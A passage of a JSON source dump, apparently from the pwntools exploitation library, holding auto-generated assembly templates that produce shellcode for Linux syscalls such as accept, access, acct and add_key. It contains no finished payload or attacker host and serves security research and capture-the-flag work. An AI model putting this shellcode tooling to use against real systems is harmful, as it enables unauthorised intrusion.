    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>_newselect(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall _newselect.\n\nSee 'man 2 _newselect' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS__newselect']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS__newselect'])\n%>\n    /* _newselect(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/_sysctl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>_sysctl(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall _sysctl.\n\nSee 'man 2 _sysctl' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS__sysctl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS__sysctl'])\n%>\n    /* _sysctl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/accept.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>accept(fd, addr, addr_len) -> str\n\nInvokes the syscall accept.\n\nSee 'man 2 accept' for more information.\n\nArguments:\n    fd(int): fd\n    addr(SOCKADDR_ARG): addr\n    addr_len(socklen_t*): addr_len\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, addr=0, addr_len=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'addr', 'addr_len']\n    argument_values = [fd, addr, addr_len]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_accept']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_accept'])\n%>\n    /* accept(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/accept4.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>accept4(fd, addr, addr_len, flags) -> str\n\nInvokes the syscall accept4.\n\nSee 'man 2 accept4' for more information.\n\nArguments:\n    fd(int): fd\n    addr(SOCKADDR_ARG): addr\n    addr_len(socklen_t*): addr_len\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, addr=0, addr_len=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'addr', 'addr_len', 'flags']\n    argument_values = [fd, addr, addr_len, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_accept4']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_accept4'])\n%>\n    /* accept4(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/access.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>access(name, type) -> str\n\nInvokes the syscall access.\n\nSee 'man 2 access' for more information.\n\nArguments:\n    name(char*): name\n    type(int): type\nReturns:\n    int\n</%docstring>\n<%page args=\"name=0, type=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['name', 'type']\n    argument_values = [name, type]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_access']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_access'])\n%>\n    /* access(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/acct.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>acct(name) -> str\n\nInvokes the syscall acct.\n\nSee 'man 2 acct' for more information.\n\nArguments:\n    name(char*): name\nReturns:\n    int\n</%docstring>\n<%page args=\"name=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['name']\n    argument_values = [name]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_acct']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_acct'])\n%>\n    /* acct(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/add_key.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>add_key(type, description, payload, plen, keyring) -> str\n\nInvokes the syscall add_key.\n\nSee 'man 2 add_key' for more information.\n\nArguments:\n    type(char*): type\n    description(char*): description\n    payload(void*): payload\n    plen(size_t): plen\n    keyring(key_serial_t): keyring\nReturns:\n    key_serial_t\n</%docstring>\n<%page args=\"type=0, description=0, payload=0, plen=0, keyring=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['type', 'description', 'payload']\n    can_pushstr_array = []\n\n    argument_names = ['type', 'description', 'payload', 'plen', 'keyring']\n    argument_values = [type, description, payload, plen, keyring]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_add_key']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_add_key'])\n%>\n    /* add_key(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/adjtimex.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>adjtimex(ntx) -> str\n\nInvokes the syscall adjtimex.\n\nSee 'man 2 adjtimex' for more information.\n\nArguments:\n    ntx(timex*): ntx\nReturns:\n    int\n</%docstring>\n<%page args=\"ntx=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['ntx']\n    argument_values = [ntx]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_adjtimex']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_adjtimex'])\n%>\n    /* adjtimex(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/afs_syscall.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>afs_syscall(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall afs_syscall.\n\nSee 'man 2 afs_syscall' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_afs_syscall']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_afs_syscall'])\n%>\n    /* afs_syscall(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/alarm.asm",
